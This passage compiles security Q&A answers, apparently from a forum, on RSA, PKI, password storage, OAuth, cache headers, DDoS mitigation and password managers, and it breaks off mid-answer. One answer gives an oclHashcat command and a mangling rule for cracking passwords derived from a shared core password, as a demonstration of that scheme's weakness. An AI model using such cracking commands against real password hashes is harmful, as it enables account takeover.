Since φ(n) = n - (p+q) + 1, knowing n and φ(n) means that you know pq and p+q. It so happens that p and q are the two solutions of the quadratic equation X2-(p+q)X+pq = 0; finding the roots of a quadratic equation (in the real numbers) is easy.

Therefore, it is no empty banter than to call the public key "public": you can make it public without giving away the private key.

Generating a RSA key pair is not mathematically difficult, but, as with all things crypto, it can fail in many subtle ways that you would not be able to detect (as usual, you cannot test for security, only for functionality). Therefore, it is highly recommended that you use existing code and facilities for such jobs (i.e. a crypto library like OpenSSL, or something already included in your programming framework like Java's java.security.KeyPairGenerator).

Producing key pairs is the easy part. Public-Key Infrastructure is about the hard part: distributing the keys. Asymmetric algorithms like RSA split keys into a public key and a private key, and you only have to distribute the public part, and since it is public, such distribution requires no encryption. This makes key distribution easier; but not easy. THe main problem is how User A will make sure that it got the "right" public key for User B (i.e. the public key for which User B indeed knows the private key, and not another key which the attacker cunningly pushed in lieu of the right key).

PKI is known to be a very complex issue (and a difficult market as well); the best practice is not to rebuild it from scratch. Instead, research X.509 PKI (in particular this tutorial) and OpenPGP (X.509 is designed to support hierarchical PKI, while OpenPGP was meant for Webs of Trust).


How common and how easy is sniffing plaintext communication?

'How common' is not answerable or useful - you need to look at your risk.

'How easy' is much simpler to answer. It is incredibly easy if you are on the same network segment as an endpoint, but it is also easy if you can compromise a router or switch.

So, if you have data communications that are a target for an attacker, then they will work out how much value that data has for them. The threshold here is pretty low, because of the ease of attack, however it requires the attacker to have a local connection of some kind.

The tools to do this are free and easy to use, so please conduct your own risk assessment to identify the risk to you.


How to properly store, encrypt and backup passwords for home and office use

While your approach is much more than an average user would do in home environment, there are several attack vectors you may want to mitigate (for fun, learn or serious concern if you are a international spy :).

First of all, you already has blind (infinite) trust in several actors:

your hardware manufacturer (chip firmwares, BIOS/UEFI, etc.)
your Operating system vendor,
KeePass vendor (unless you checked the source line by line),
TrueCrypt vendor (-"-),
your cloud provider,
anyone who has administrative rights on your machine,
anyone who is able to compromise your system in any ways,
all employees of the above software vendors with commit right to their source code (unless you thoroughly examined their quality and security policies).

Any of the above actors can access your passwords without problem. In serious security designs you should reduce the number of trusted actors to the minimum, and you should never trust in single actor.

You can mitigate the security problems the following way:

1) Keep most important passwords in your head. This is the good way, and the intended way of using passwords. Medieval people were able to memorize entire holy (Latin) texts without understanding. We are not trained for that, but it is possible.

2) Always use 2FA (two factor authentication) for your important accounts. The biggest advantage of 2FA is that, you don't have to trust single actor. If the attacker compromised your machine or backdoored your operating system, she still have to steal your fingerprint or compromise your phone and security device. If you trust solely in passwords, and you don't keep them in you head, single actor is enough to defeat your defence. It's a several order of magnitude less probable that two actors are cooperating. National Cyber Armies certainly can do that, but otherwise you are more or less safe.

3) Keep the number of actors at the minimum. A portable pendrive with a simple text-file, encrypted with a decent algorithm and a good key is much more secure than your current setup because you trust much less actors: the current hardware, the current OS and the algorithm. You can include your own decryptor made in C or python. Some portable open source hardware with a small display and with simple verifiable code is even better. It might not be very convenient, but it's more secure.

4) Keep it simple. In security simplicity is crucial. The more you can verify personally the less you have to trust.

If you do all the above, most attacker is probably better off with sending a thug to beat you in order to acquire the credentials. :-)

EDIT:
If the number of passwords are large and you can not avoid some kind of password manager, I suggest an off-system one. Pendrive with stand-alone password manager is good enough. Or you can build your own security device with Arduino framework which can even type your passwords.


Reasons to transition Kerberos secured web applications to OAuth2/OpenId

pros;

oauth works from computers not in your domain.

cons;

oauth works from computers not in your domain
extra development work
need to login to more than just the OS.


How to secure MySQL database usernames and passwords within a php file?

I good way to protect your keys is to put the php file with the credentials outside of the webroot.
 Even when the 'raw' php files are then served to a client, none of them include the database  credentials. (does not protect against someone with file access on the server).

Another defensive measure you can take is limiting the connections the Database accepts connections from. (so not the whole world but just a select list of specific ip's)

Lastly you should make the account that connects with the Database only have rights on its own database, and no other!


How likely is it that I was hacked by running a local server for development?

have always thought that when you run something as localhost, nothing
  ever leaves your computer and your server can't be accessed by
  computers in your WiFi network

You accessing your services through localhost doesn't mean that it's running as localhost:

When starting a daemon, such as Apache and MySQL, it can run on localhost or on all interfaces.  If your IP address is, say, 10.0.0.5; and Apache runs on all interfaces; you can access your pages on both http(s)://10.0.0.5 as well as 127.*.  Now, even by running it on all interfaces, if you're protected by a NAT device, such as your default access points, it's unlikely that someone routes into your network.  Of course, all users on the same network (WLAN, ...) could access your daemon.

The best way to check this is to run a netstat -an on your machine, the output should be something like:

$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

Here can see that SSH (22) runs on all my IPv4 interfaces, 6379 (redis) runs only accessible on localhost and http (80) runs on all IPv4 and IPv6 (:::80) interfaces.

Running them locally only depends on the deamon itself, apache allows a Listen 127.0.0.1:80 in the httpd.conf file, MySQL allows you to put a bind-address = 127.0.0.1 in the my.cnf file (under the [mysqld] directive) and so on.  An additional measure you can do is to block all ports using IPTables on your interface (wlan0, eth0, ...), and only allow the services you intend to publish.

It's unsure to consider "yourself hacked".  It was, if exposed, for sure subject to it.  It depends if you have poor credentials, vulnerable versions, ...


When should one use RSACryptoServiceProvider vs AESCryptoServiceProvider

This is the only relevant part:

  "  RijndaelManaged class is a kind of implementation of Rijndael
  algorithm in .net framework, which was not validated under NIST
  (National Institute of Standards and Technology) Cryptographic Module
  Validation Program (CMVP).
          However, AesCryptoServiceProvider class calls the Windows Crypto API, which uses RSAENH.DLL, and has been validated by NIST in
  CMVP. "

You should use the one that met the NIST specifications.  Else there is no way to prove that the RSA algorithm is as secure as you think it is, or if it is compatible with other RSA implementations.


For preventing interception and reading of the secret content, encryption algorithms like AES are used. HMACs do not matter at all for this part.

Assuming AES (CBC etc.) is secure, an attacker could still intercept what you're sending or receiving, but he can't read it. What he could do, however, is to change the data to something else. Again assuming AES is secure, there is no way for the attacker to give you some data that, when decrypted, is something meaningful, but it's still a problem, because automatically detecting that you got garbage is not always possible.

That's the purpose of HMAC (with either hash algorithm) in IpSec: It makes it possible to check if the content has been altered during transmission.

While raw SHA1 is not as secure as it was thought to be, the known problems don't apply to HMACs with SHA1. Essentially, the risk comes down to the possibility of an attacker guessing the right key or hash for a message, to make you believe a wrong message with garbage content is the real one (and nothing more):

For SHA1 in IpSec, it's either 2^160 possible values that the key can have (if the attacker has the key, he can generate HMACs for all received messages, ie. give you as much garbage as he wants), or 2^96 possible values for the hash itself (if the attacker manages to get that, just one block can be changed). While it could be better, it's not that bad, especially because it's very unlikely to find the right value before the transmission ends.
For SHA256, the corresponding values are 2^256 and 2^128.

(Also see RFCs 6071, 2404, 4868)


How to secure my REST API once user authenticates with Google on mobile client?

If you mean "trust" in the communications sense, you're defending against man-in-the-middle attacks, and that means using HTTPS. For bonus trust, use certificate pinning in the mobile app.

If you mean "trust" in the "server wants to ensure that the client has authenticated" sense, you should read more about OAuth. The short of it is that

Your user will authenticate with Google on the mobile device, thus acquiring an authorization grant.
Your mobile app will tell your server that the user authenticated, and send along the authorization grant.
Your server will give the authorization grant to Google.
Finally, Google will tell the server whether or not the user actually authenticated.

After that, you can issue the mobile app a session token and proceed as usual.


From the graphs and responses I see (admittedly mostly 2014 and 2015) it looks like for incoming mail, only about 60% of servers support STARTTLS.  Is that insane?  Yes, of course it is.  It is, however, reality.  The advice to not require STARTTLS is still, unfortunately, valid.

Facebook has some 2014 info, though spot googling doesn't show that number has budged that much since.


Bypassing OpenID Connect audience claim with implicit grant

Scope. Cat pictures would not be granted the ability to request the scope for your API and thus not be able to access it with any resulting access token.
Also, in the implicit flow the callback url is registered against the client and must match exactly.


Effective wireless scanning to meet PCI DSS 11.1?

So, I guess my question is - what are people doing to meet 11.1 that provides some security benefit, as opposed to policy compliance?

Check out section 11.1b as that's the integral part of the test:

  11.1.b Verify that the methodology is adequate to detect and
  identify any unauthorized wireless access points, including at least
  the following:

  WLAN cards inserted into system components
  Portable wireless devices connected to system components
  (for example, by USB, etc.)
  Wireless devices attached to a network port or network device

None of this relates to finding radio signals. What you should be focusing on is having a regular inventory of computer systems with effective detection of changes in installed hardware. Since almost anything in your PCI-DSS scope is likely to be a hardwired machine that the system/network administrators have administrative access to (and the users don't), this task shouldn't be too rough. If for some reason your machines do have wireless devices that need to be enabled, control and monitor their configuration to stay on your network.

Prevent hardware from being activated without administrative privileges
Inventory hardware
Prevent users from having rights to configure hardware that is there
Log hardware configuration changes (installation, driver parameters)

The second part is port control. Ideally, use 802.1X-2010. Log any hardware addresses not recognized and any transfer of an address between different switch ports.


Can OAuth2 help to authenticate the app?

Do you have consumer key and consumer secret given to the applications? If you do then you can disable access the compromised keys and disable access. API key management can be done without OAuth2. But using OAuth2 would allow you combine key management and use different authentication providers. In order to detect which keys are compromised you would need API analytics or usage reports. OAuth2 does not come with an authentication provider. Securing your API against attackers requires a comprehensive approach. I would suggest to start with API key management and then look at OAuth2 along with authentication provider.


Can a self-build router minimize the potential risk of intels management engine (ME)?

Recent research prove that there is trustworthy way to disable ME and it was published recently by Positive Technologies here. There is also me_cleaner added implementation for HAP PCH strap.

In case your home made router and potential threat from AMD PSP. IMO it would be very hard to implement that. Please note that if chips has access to network interface it can use secure connection initiated from inside your network, so how you would differentiate between your secure outbound traffics versus malicious one ?

In case of using built in vs external NIC. There is no difference, if you use potentialy untrusted hardware or firmware for your router, but assuming you will go with trusted hardware and firmware you have to make sure there is no ROM or any internal chip built-in external NIC and other components that can interact with NIC behind the scene.


Is cache-control: no-cache enough for sensitive information like bank accounts, etc.?

No, cache-control: no-cache will not prevent a browser cache from storing response data. Use cache-control: no-store instead.

According to RFC 7234, section 5.2.2.2:

  The "no-cache" response directive indicates that the response MUST NOT be used to satisfy a subsequent request without successful validation on the origin server.

Note that "without successful validation" implies that the cached response may be used if validation with the origin server succeeds. (The validation process is described in section 4.3.) Therefore, cache-control: no-cache does not prevent the user agent from storing the content of the response.

pragma: no-cache is also incorrect for the same reason. See RFC 7234, section 5.4:

  When the Cache-Control header field is not present in a request, caches MUST consider the no-cache request pragma-directive as having the same effect as if "Cache-Control: no-cache" were present (see Section 5.2.1).

In contrast, RFC 7234, section 5.2.2.3 says:

  The "no-store" response directive indicates that a cache MUST NOT store any part of either the immediate request or response.  This directive applies to both private and shared caches.  "MUST NOT store" in this context means that the cache MUST NOT intentionally store the information in non-volatile storage, and MUST make a best-effort attempt to remove the information from volatile storage as promptly as possible after forwarding it.

This sounds much closer to what you're looking for.


Email Compromised due to Yahoo Mail Exploit

Changing your password is enough to prevent them from regaining access to your Yahoo mail account.  While you're doing it, you may want to change your security questions/recovery questions, and set up a mobile number for password resets.  You should not need to delete your cookies (though you can if you want).

If you used the same password on any other site, change it on the other site as well.

In principle, there are some ways that the hacker might have been able to access other accounts you have on other websites.  First, if you stored the passwords for other websites anywhere in your inbox or any mailboxes on your Yahoo account, then an attacker could have viewed them.  Second, if you use your Yahoo email address as the email address for accounts on other websites, then the attacker could have used the password reset functionality on those other websites to gain access to your accounts on other websites.  There's probably no good way to know for sure if either of these happened.  If you are concerned about this risk: log into every other account you have on every other website, and change the password on each of those accounts to something new.  Yes, I realize this is a serious pain, so you'll have to judge for yourself whether it's worth doing or whether you want to just take the risk that the hacker didn't get access to any of your other accounts.


How secure are native iPhone - PUSH Services

Firstly, it's not the UDID that gets sent most of the time, it's an opaque "device token" that's specific to that device's use of the particular push service. You can see that in the documentation for push notifications.

According to this documentation, the connection to Apple is authenticated and encrypted using TLS. It's only if your private key is compromised that someone can register devices or send push notifications on your service's behalf. Also, through some undocumented procedure, Apple's side of the service is monitoring for such misuse.


How to check which process is modifying my clipboard?

You can reboot, close every single auto-start program you have, close anything not crucial, copy one Ethereum address to clipboard, paste it somewhere and see if it changed.
Then you could use Process Explorer to list every single running process, and run strings (form SysInternals too) on each one searching for the changed address. Unless the address is obfuscated in some way, it can reveal the culprit.
If you cannot find it using strings, use Volatility to take a memory dump, and check the dump later to pinpoint which process have the changed address in memory.


DROWN CVE-2016-0800 Patch Missing on Centos 7

According to the Red Hat security advisory for that CVE, RHEL 7 is not affected.  If you follow the article in the external references to another security advisory, you'll see it says:

  Note: This issue was addressed by disabling the SSLv2 protocol by default
  when using the 'SSLv23' connection methods, and removing support for weak
  SSLv2 cipher suites. For more information, refer to the knowledge base
  article linked to in the References section.


How to define different firewall rules for different users on the same machine running on Windows 7?

If you are using the stock windows firewall, then this cannot be done. The firewall is machine-based, not user-based.

To have the control you want, you need to install a different firewall.


Are Let’s Encrypt wrapper services secure?

You need to make sure your keep your private key private. It's as simple as that.

A CSR (certifcate signing request) does not contain your private key.

Services such as the ones you mention frequently offer two modes of operation:

You can upload a CSR and they will sign the certificate contained therein or
They can generate the CSR for you

While the latter one (they generate the CSR for you) is usually meant as convenience feature as you don't have to maintain the proper tools to reate a CSR on your own computer, it means in practice that they will generate a private key for you, which at the same time means they could easily keep a copy of your private key.

And anyone who is in possession of your private key may issue additional certificates with your name on it or revoke your certificates.

Which means in short words: As long as you make sure your private key never leaves your machine (i.e. you create the CSR locally on your machine and uplopad it) you can use any of those services without worries.

If you leave it to them to create the private key for you, you need to trust them that they will not cause any harm with it.


Which Secure Development Lifecycle model to choose?

Personally, I found OpenSAMM to be a good resource, but only after you have something setup.  It is a maturity model, which is basically a tool used to determine how well you do something.  In other words, it has a focus on metrics and reporting.  Don't get me wrong, I think there is a lot of good information in that document, but more of a phase 2.

I have not read Cigital, so I cannot comment on that one.

The MS SDLC is pretty simple to follow.  We found most of the document irrelevant, especially when they get into specific things to check for c/c++ stuff and compiler flags, but the core concepts were good.

What you are going to have to do is take the SDLC and map the phases to what you do now.  Once you have that mapping, you can then figure out what MS does in each phase and then pick a subset of that (or all of it) to include in your processes.

Think of the SDLC as the tool you will use to create the documents/process that the development team will follow.  So, for example, you should probably publish a "development best practice guide" for the dev teams (as part of development training, for example).  Since you guys are in the financial industry, you will want PCI/SOX stuff to be included in that document.  To expand, the MS SDLC talks about having developer training.  You will have to tailor that to your team and goals.  For example, you may do a lot of c# training, so you will want to include c# training as part of your training goals.

Most of these models are going to come down to a couple of major components.

1)  Build security in (at the requirements stage)
Make sure you are looking at the correct docs / strategies, and that functional/non-functional requirements focus on security at the outset.  Make sure your goals are aligned with that of the client.  Create bug bars, etc.  Make sure the architecture supports fail-safes, strong crypto, incident response, etc, etc

2)  Train, train, train
Developers need training.  They preform better when they know what to do, and it is in the fore-front of their mind.  Develop a training program that focuses on long term professional development as well as short term (as needed) training.

3) Deliver a secure product by following best practices, and then validate
Develop according to best practices (pick a framework such as the ASVS, OWASP Top 10, or a combination), then make sure you validate that you have done it correctly.  Do a pen test.

4) Support
Make sure you build in the right processes to support your application/client going forward.

As a side note, if you are looking for some professional help, you should consider paying for someone to come in and help you.


Can't detect hash type even if I have the password?

There's not a lot of information to work with here, as your hash-identifier tool has already pointed out.

Things we know:

c39e02416d974229752c28d7fcefe6e1 is 16 bytes (or 128 bits). There are no modern hash functions with an output this short, so that suggests that it's likely MD5. (unless its something like SHA1 truncated to 128 bits, but who would do that??)
Your hash-identifier tool could not figure it out, which means they're doing some obfuscation; adding the username as a salt in a weird way, or using an application-wide salt, or using a MAC with an application-wide secret key, or iterating the hash some number of times, or some combination.

Unfortunately, unless you can find some more information in the database that gives you some hints (or if you can get access to the source code of the php application), then you are faced with a hard reverse-engineering problem :(


How to test my website for the rails YAML vulnerability

Sorry for a short response, but I'm sure others will fill in eventually.

RPORT most likely means the port that the webserver is running on.

I've not used metasploit for this yet, unless Tinfoil Security uses the same concept, see:
https://www.tinfoilsecurity.com/railscheck

-k0nsl


Website login using database credentials

Edit: I made a lot of assumptions in this answer that were not necessarily true. I just found out that the DB in question is Postgres. My answer is more tailored towards SQL Server, which until version 2016 did not have Row-Level Security. I'll leave my answer here for information purposes.

What you are suggesting is certainly not best practice, for many reasons. That doesn't mean you can't do it, but you must be willing to concede all of these points if you don't:

With your model, any user can access the database directly without using the website at all. (Edit: this is assuming you are in a local intranet and your users can access the DB directly using another tool outside of the website).

Because of this:

Any user can add/edit/view/delete information for all users, not just their own information. (Note: this is not necessarily true if your DB supports Row-Level Security, and if you use it.)
If any one user's credentials are compromised, all of the data is potentially at risk. (Note: this is not necessarily true if your DB supports Row-Level Security, and if you use it.)
A user accessing the DB directly could incidentally run queries that do something they didn't intend. They can also unknowingly lock up the DB and make it unusable for others.

There are other reasons to not do it, but let's talk about the "norm" instead. Typically you manage your users from the website, and then give the website access to the DB with a single user that has the minimum set of permissions needed. If you ever suspect the DB password has been compromised, you can simply change that one password, and then let the website know about the new password (usually in an encrypted file of some sort that is not web accessible). This also makes it easier to provide different levels of permissions to different users, simply by controlling their access in the website code. You can also get much more granular, for example, you could allow certain users to only update a particular column of a particular table, if you wanted to.

Fortunately, there are many free out-of-the-box solutions that manage users and roles on virtually every popular web platform. I can't really think of good reason to venture away from the norm for connecting to a database via a website.

Edit: even though it may be the case that Postgres best practices differ from my suggestions in this answer, I still am not convinced that providing direct access to the DB is better than my suggestions. Without knowing more about Postgres, I would still prefer this model. But that could simply be because this is what I'm used to.


differences between meraki and pwn pulse

Regarding your specific question, the two capabilities share some overlap when it comes to BYOD, but there are some key differences:
- Meraki "provides device based security policies, built-in NAC, and built-in mobile device management."
- Pwn Pulse "detects, fingerprints, and analyzes rogue, misconfigured, and unauthorized wireless and wired devices including BYOx/mobile, Wireless, Bluetooth, wired and other network-enabled devices."

In short, the two systems are apples and oranges compared to each other--one (Meraki) is a cloud-enabled Wi-Fi access solution with Mobile Device Management capabilities, kind of like Microsoft Intune. The other (Pwn Pulse) is a cloud-enabled device visibility + threat detection solution. As you've already alluded, BYOD is a bit of a vague term as it can mean different things depending upon where you're coming from. I would argue that both of these offer BYOD solutions in that they both resolve one aspect of understanding what devices are in/around airspace demanding network resources, but this is but one aspect of the larger product offering.


VPN provider asks to install RootCertificate. How is it safe?

Your question sounds too broad. It sounds like "trust this certificate for any possible purposes" including SSL/TLS, means also for accessing web sites in your browser via SSL/TLS. The most of users will answer a question asked in such broad form by "Of course, don't do that".

But pay attention to their instruction step 4:

  ... select Use Custom Settings and Always Trust only the IP Security
  (IPsec)

Suppose you are afraid that they want to be a man-in-the-middle and intercept your traffic to read or to modify it. If you trusted their certificate for SSL purposes, that would be possible. But you set the SSL usage policy to "Never Trust". And if they do that, then your browser will warn you, that the web site you are trying to open has an invalid certificate because it was issued by untrusted CA (by Proton CA).

But since you allow trust for IPsec only, other purposes are not affected at all.

TLDR: Yes, it is safe, if you follow the needed steps exactly.


Smartcard communication protocols follow well-established standards (connector size and location, voltages, signals, logical transport protocol...) so chances are that card readers are indeed interchangeable. If the bank sent you both the card and the reader then there is a slight probability that they did something fancy which compromises interoperability, but I deem this probability quite low.

(Personal experience with people in the smartcard industry has taught me that these standards are considered by them as part of some kind of revealed religion; they will not trespass without a powerful reason.)


Passwords being sent in clear text due to users' mistake in typing it in the username field

One thought is to not allow form submission if there is not a value in the password box.  Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog.

It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.


Depending upon your budget, you may want to look as a hardware security module. This would be a device connected to the server which stores the key and does encryption, it not part of the operating system and it would more or less be like magic black box.

You could also use another server which has the sole purpose of doing crypto, and again functions as a black box. With a very tight firewall config and other checks, this may also be effective.


How can a Software application defend against DoS or DDoS?

Fist of all, it is important to distinguish DoS, which stands for Denial of Service, and DDoS - Distributed Denial of Service. In most cases DoS is caused by software vulnerability, here comes patching and updates as a measure of attack prevention. DoS against service that is not vulnerable are not distributed attacks, they are ineffective and not used today. If to talk about DDoS, which I guess was the point of your question, then things come a bit complicated. IPTABLES in case of huge PPS usually does not help greatly - attack comes from different locations, like in case of zombie-machines. You just ban users, but there will appear new again and again.
What I can suggest:

configure server software so it handles connections in a more lightweight manner - deny long and heavy requests (e.g. MaxKeepAliveRequests in Apache);
configure your OS - IP stack tuning (e.g. sysctl in FreeBSD);
close unused ports, remove unused services;
mod_evasive - Apache module against attacks;
set up a lightweight server as front-end - Nginx, for example.

This is a long topic to discuss, I would recommend not to stop within these recommendations but google on them for more precise information.


It'd probably be very frustrating to do it for that many customers, but in theory you could do it via IP address filtering (only allow signins from customer IPs) and trust your customers to deny network access / VPN for people who have left.

You can also require that people sign up / sign in with their company (i.e. your customer) email address. Then you could do something to make accounts deactivate unless the users click a "yes, I still have this account" link (with a unique random token in it) every so often, like 1/month, and only sent those links to customer email addresses. That'd take some setup work and be a little annoying to the users, but it would limit the amount of time somebody could get access.

If your customers are using something like Google Apps (or whatever they call it now) and the users are using SSO to sign into Jira, then you're probably fine; your customers should revoke access to the accounts of anybody who leaves, which will also mean they can't access your Jira. That doesn't work for usernames and passwords, though.

Alternatively, you can just ask your customers to tell you when people leave (or change roles in a meaningful way). It's not foolproof, of course, but presumably they already have a system in place for handling employees leaving; they can just add "notify the Jira admin" to that list.


Should I close port 80 forever and ever since the 2018 Google-indicated web-security initiatives?

You should not close off port 80. Instead, you should configure your server to redirect HTTP port 80 to HTTPS port 443 in order to use TLS. You can optionally use HSTS (HTTP Strict Transport Security) to tell browsers to remember to only use TLS when connecting to your site in the future.

There is nothing insecure about port 80 being open. Security issues only occur when the web server is serving requests over an unencrypted connection, especially if those requests contain sensitive data. Having port 80 be open and send nothing more than an HTTP redirect is perfectly safe.


How secure is this process for creating passwords?

On a practical basis, I'm going to have to say that this type of system is extremely weak once any one of your passwords has leaked; it doesn't matter which one.

For example, if you used }P_-^cWi_OD~w{qjjA4f (randomly generated) as your "core" password, then you'd have

o}P_-^cWi_OD~w{qjjA4fN for NotSecureSite.

and a}P_-^cWi_OD~w{qjjA4fB for BankSite.

Assuming

Your NotSecureSite password gets found out by an attacker somehow, perhaps because they are a Plain Text Offender and suffer a breach

a. And then those plaintext passwords make their way out, as the RockYou and Facebook lists did
Then another site you're on suffers a breach; we'll say it was BankSite, which used MD5 hashing (for simplicity; really, they could use anything, even fairly reasonable algorithms)
An attacker with both sets of data who uses the following simple rule will find your Paypal password using John the Ripper or oclHashcat and the following simple rule:

a. Command line:

./oclHashcat64.bin --hash-type=0 --attack-mode=0 --rules-file=random.rule random.word.md5 random.dict

a. One line in random.rule reads

[]^a$B

a. [ - delete first character
a. ] - delete last character
a. ^ - prepend the next character
a. $ - append the next character
a. Note that there are only 3,844 rules to exhaustively search the space for each starting password if the attacker goes through a-zA-Z0-9 for both; your actual scheme can usually be found in 130 rules (5*26) for each password.

Worse, this is pretty tiny.  Rulesets distributed with oclHashcat by default include the 12 thousand rules of T0XlCv1.rule, the 35 thousand rules of d3ad0ne.rule, and the 123 thousand rules of dive.rule, so less than 4 thousand maximum is a drop in the bucket.

Try using unique cryptographically random, long passwords and a password manager like KeePass to generate and store them; it has ports for Apple, iPhone, Android, Linux, Windows, etc.

Make sure to go into Database Settings, Security, and set the number of rounds to at least one second's worth, preferably several (there's a button/link for 1 second delay; then make it bigger) particularly on slower devices.

As an alternative, I would suggest something very different.  It can be done in many ways, but using any of the variety of PBKDF2 implementations on my github site, several of which include Windows executables, some of which are in Python or other common languages.

Then, use your "core" password as the password, the website name as the salt, a lot of iterations, since you have no or almost no special characters, you'll need even longer passwords than normal, but you'll be able to cut and paste.  At this time I apologize, as Base64 output isn't implemented much yet, though I'm working on it.  hex output is fine, though, if you use all of it and -o parameter, output length, is long enough - just know hex is twice as long.

NotSecureSite:

./pbkdf2 -p a}P_-^cWi_OD~w{qjjA4fB -s NotSecureSite.com -a SHA-512 -i 1024000 -o 20

104d58f4c9fac5063ed9ed9303ccadc740053963

./pbkdf2 -p a}P_-^cWi_OD~w{qjjA4fB -s NotSecureSite.com -a SHA-512 -i 1024000 -o 20 -O base64

EE1Y9Mn6xQY+2e2TA8ytx0AFOWM

BankSite:

./pbkdf2 -p a}P_-^cWi_OD~w{qjjA4fB -s BankSite.com -a SHA-512 -i 1024000 -o 20

acaafd556c984e1c225369a5b95e37a38e34e48f

./pbkdf2 -p a}P_-^cWi_OD~w{qjjA4fB -s BankSite.com -a SHA-512 -i 1024000 -o 20 -O base64

rKr9VWyYThwiU2mluV43o4405I8

The longer hex and shorter Base64 are exactly as secure, since they came from the same 20 binary bits.
both the base password and the number of iterations must be the same
note that the NotSecureSite and BankSite passwords look nothing alike, and have no discernable patterns beyond being clearly hex or Base64 encoded data.
note that I used more than a million iterations AND a 20 character random base password; this should help protect against those who have determined your algorithm (since we must assume attackers figured it out/learned of it somehow) by giving a large keyspace and slowing them down.


How do cookie and session implement for preventing reuse elsewhere

You should think about threat models instead of coming up with solutions to fake problems.

What's the threat model here? That I copy my own session cookie to another computer? Not a real threat.

Worried about javascript stealing cookies? Use httponly cookies

Worried about malware stealing your cookies? Use a dedicated computer for sensitive network communications. You can get a Raspberry Pi Zero Wireless for $10


How safe is it to store your passwords in a modern browser?

Not as good as a password manager, better than nothing.
Security often comes at the price of convenience, and convenience often comes at the price of security. Password managers built into browsers are primarily there for convenience, and security plays a lesser role. The reason for this decision is that regular users are more easily convinced to use a system that is convenient for them, rather than a system that is more secure, but harder to use.
Since you asked for Pros and Cons of real life scenarios, I'll detail the pros and cons of using a browser's built-in password manager in comparison to an offline password manager like Keepass, and not using a password manager at all.
Using a browser's built-in password manager:
Pros

You already have it. Everyone uses a browser these days, and all major browsers come with built-in password managers. This means that from a regular user's point of view, the barrier to entry is incredibly low.
It discourages password reuse. People dislike remembering passwords, so they certainly won't remember one password per site. If the browser automatically suggests a strong password upon registering, then the user will not be tempted to re-use an existing password for it. Furthermore, the passwords suggested by the password manager will likely not be cracked by any attackers, should hashes ever be stolen.
It syncs to my other devices. A user can register to a service on their computer and then use the same service on their phone without having to worry about syncing passwords. That is a huge plus!

Cons

It doesn't defend against local attacks. Attackers which may have access to the computer of the user (think jealous girlfriend, not government agency) may be able to get the passwords rather easily. With access to the browser, for example when a user forgot to lock their computer, all passwords can be read out in a matter of minutes.
It should be noted that local attacks are not something every user is concerned with. For example, I am living alone and don't really have local attacker in my threat model.

It increases attack surface. If synchronization between devices is enabled, then the security of all my accounts is tied to the security of the account of my browser vendor. Furthermore, while it is unlikely, but not impossible, an attacker could steal the encrypted credentials of all users and then begin to crack them bit by bit.
Since my passphrase is 72 characters long and I use a YubiKey, I am not all too worried about people logging into my Google account - but it could be a reason why you wouldn't want to enable synchronization.

Vendor Lock-In. To my knowledge, browsers don't yet offer some way to export all credentials into some unified format. This means, if you have 200 credentials saved into Chrome and decide to switch to Firefox...well, have fun.

Using a dedicated offline password manager:
Pros

Better protection against local attacks. Since passwords are stored in an encrypted file, which is protected by a master password and optionally a key file as well, an attacker with local access will likely not be able to steal your passwords. In the case of you forgetting to lock your PC, many password managers have settings to "forget" the key after a period of inactivity. While that doesn't completely protect you, it is much better than a built-in password manager.

Better configurability. A browser's built-in password manager may struggle with sites which have less than desirable password policies, so a dedicated password manager can generate passwords according to a specified ruleset.

Works outside the browser. Sometimes, I need to generate passwords to send via other means, such as text messages, or use them inside a VM. In this case, a browser's built-in password manager just doesn't cut it.

Cons

Higher barrier to entry. Users which don't have a background in security are unlikely to look for a password manager, and if they do, they're likely daunted by the different offers, such as online password managers, offline password managers, etc.. Furthermore, most offline password managers have quite a few very handy features, which are likely confusing for someone who "just wants to use the internet".

Doesn't sync between devices. Since my passwords are just a file, it doesn't automagically sync between my devices. If I have a desktop PC, a laptop and a smart phone, then either I manually sync my password database between them, or I use some third-party service to do that for me (like Dropbox, Google Drive, etc.)

Not using a password manager:
Pros

Works everywhere. Often times, I need to enter some form of authentication where I simply can't use a password manager, such as for my BitLocker password or my Windows domain password. In such cases, remembering a strong passphrase is the only option I have.

Cons

Encourages weak passwords. I won't remember a password like _B+5ZzRk!4vd2+5Q?qw$=9V, that's a fact. I may remember a long passphrase, such as Two Blue Bunnies jump over the Square Tree and Explode., but that's quite a handful to type every time I want to log in. As such, most users will gravitate towards the shortest possible password they deem "good enough", and usually that's something like BostonNovember2020.

Encourages password reuse. "I already thought of a password or passphrase, and now you want me to remember a second one? A third even!? What do you mean I need to remember a new pass phrase for every service I use?!" - That's why people re-use passwords.

Verdict
Dedicated password managers are a great high-security option, that offer a ton of configurability. However, as many tools aimed at experts, they can be difficult to use for beginners.
Built-in password managers strike a good middle-ground for non-tech people, increasing their security against likely threats, while making them a bit less secure against unlikely threats.
Using no password manager at all should only be used in situations where no password manager is available.


How to Change a Culture of "Security Through Obscurity"

In this situation, you are likely going to need management to set standards and force change. But you have to communicate to management in a particular way.

Step 1: do a risk assessment. Although a certain issue might not be best practice, is the cost of the change going to save the company any money or reduce risk to a point under the risk threshold? This is something that can help get management (potentially) on board.

Step 2: show how other teams or companies have avoided problems, gained customer confidence, or seen success by doing things differently. Showing where other companies had problems will not work.

Step 3: start with small changes by getting an ally (person or team) to go through the change process as a "pilot" with strong and visible management support. Support them in whatever way they need to be successful. Document the challenges and successes and broadcast them to the rest of the teams.

Step 4: measure and document the benefits of the change, both in terms of the benefits to the development teams and to management and the company as a whole (if possible).

Step 5: ask for a volunteer team to try out the new approach on another small-ish but bigger pilot. Repeat steps 3 - 5.

The 2 big things you need to be able to track is the benefit to management to keep doing this (in terms that they understand), and the benefits to the development teams to want to do this (in terms that they understand).

It's easy to get a culture to change if everyone is benefitting. It can be very difficult to show those benefits in real terms, but well worth the effort. I've seen massive change in teams and companies in a short time using this type of approach.


Why is CSP require-sri-for marked as obsolete?

Firefox 68 for developers explains:

